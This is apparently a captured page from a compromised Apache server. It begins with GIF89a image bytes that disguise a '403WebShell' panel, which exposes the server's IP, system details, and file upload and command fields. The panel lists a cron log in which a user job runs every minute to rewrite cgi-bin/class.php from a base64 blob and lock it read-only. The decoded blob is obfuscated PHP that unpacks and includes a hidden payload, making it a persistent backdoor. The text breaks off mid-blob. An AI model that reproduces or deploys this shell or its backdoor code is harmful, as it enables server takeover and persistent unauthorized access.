GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 216.73.216.72
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1160.144.1.el7.tuxcare.els5.x86_64 #1 SMP Wed May 13 12:31:54 UTC 2026 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/log/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/log/cron-20260906
Aug 30 04:07:34 server run-parts(/etc/cron.daily)[30562]: finished logrotate
Aug 30 04:07:35 server run-parts(/etc/cron.daily)[5634]: starting maldet
Aug 30 04:08:01 server CROND[31150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:08:01 server CROND[31151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:08:01 server CROND[31152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:09:01 server CROND[31609]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 04:09:01 server CROND[31610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:09:01 server CROND[31611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:09:01 server CROND[31612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:10:01 server CROND[32008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:10:01 server CROND[32010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:10:01 server CROND[32011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:10:01 server CROND[32012]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:10:01 server CROND[32014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:10:01 server CROND[32016]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:10:01 server CROND[32017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:10:01 server CROND[32015]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:10:26 server run-parts(/etc/cron.daily)[1801]: finished maldet
Aug 30 04:10:26 server run-parts(/etc/cron.daily)[5634]: starting man-db.cron
Aug 30 04:10:27 server run-parts(/etc/cron.daily)[1881]: finished man-db.cron
Aug 30 04:10:27 server anacron[29003]: Job `cron.daily' terminated
Aug 30 04:10:27 server anacron[29003]: Normal exit (1 job run)
Aug 30 04:11:01 server CROND[2404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:11:01 server CROND[2406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:11:01 server CROND[2405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:12:01 server CROND[2825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:12:01 server CROND[2824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:12:01 server CROND[2826]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 04:12:01 server CROND[2827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:13:01 server CROND[3214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:13:01 server CROND[3215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:13:01 server CROND[3216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:14:01 server CROND[3598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:14:01 server CROND[3600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:14:01 server CROND[3601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:15:01 server CROND[4021]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:15:01 server CROND[4022]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:15:01 server CROND[4024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:15:01 server CROND[4032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:15:01 server CROND[4037]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 04:15:01 server CROND[4038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:15:01 server CROND[4034]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 04:15:01 server CROND[4035]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:15:01 server CROND[4036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:16:01 server CROND[4956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:16:01 server CROND[4962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/